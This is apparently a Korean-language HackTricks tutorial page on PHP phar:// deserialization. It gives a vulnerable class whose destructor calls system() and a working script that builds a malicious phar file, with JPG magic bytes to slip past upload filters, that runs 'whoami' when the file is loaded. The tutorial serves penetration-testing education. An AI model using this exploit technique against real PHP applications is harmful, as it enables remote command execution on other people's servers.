phar:// deserialization

Reading time: 3 minutes

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

Phar 파일(PHP Archive) 파일은 직렬화된 형식의 메타 데이터포함하고 있으므로, 파싱될 때 이 메타 데이터역직렬화되고, PHP 코드 내에서 역직렬화 취약점을 악용할 수 있습니다.

이 특성의 가장 좋은 점은 **file_get_contents(), fopen(), file() 또는 file_exists(), md5_file(), filemtime() 또는 filesize()**와 같이 PHP 코드를 평가하지 않는 PHP 함수를 사용하더라도 이 역직렬화가 발생한다는 것입니다.

따라서, PHP 웹이 phar:// 프로토콜을 사용하여 임의의 파일의 크기를 가져오는 상황을 상상해 보십시오. 그리고 코드 내에서 다음과 유사한 클래스를 찾을 수 있습니다:

vunl.php
<?php
class AnyClass {
public $data = null;
public function __construct($data) {
$this->data = $data;
}

function __destruct() {
system($this->data);
}
}

filesize("phar://test.phar"); #The attacker can control this path

당신은 로드될 때 이 클래스를 악용하여 임의의 명령을 실행하는 phar 파일을 생성할 수 있습니다.

create_phar.php
<?php

class AnyClass {
public $data = null;
public function __construct($data) {
$this->data = $data;
}

function __destruct() {
system($this->data);
}
}

// create new Phar
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub("\xff\xd8\xff\n<?php __HALT_COMPILER(); ?>");

// add object of any class as meta data
$object = new AnyClass('whoami');
$phar->setMetadata($object);
$phar->stopBuffering();

JPG의 매직 바이트(\xff\xd8\xff)가 phar 파일의 시작 부분에 추가되어 가능한 파일 업로드 제한우회하는 방법에 주목하세요.
test.phar 파일을 다음과 같이 컴파일하세요:

bash
php --define phar.readonly=0 create_phar.php

취약한 코드를 악용하여 whoami 명령을 실행합니다:

bash
php vuln.php

References

https://blog.ripstech.com/2018/new-php-exploitation-technique/

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기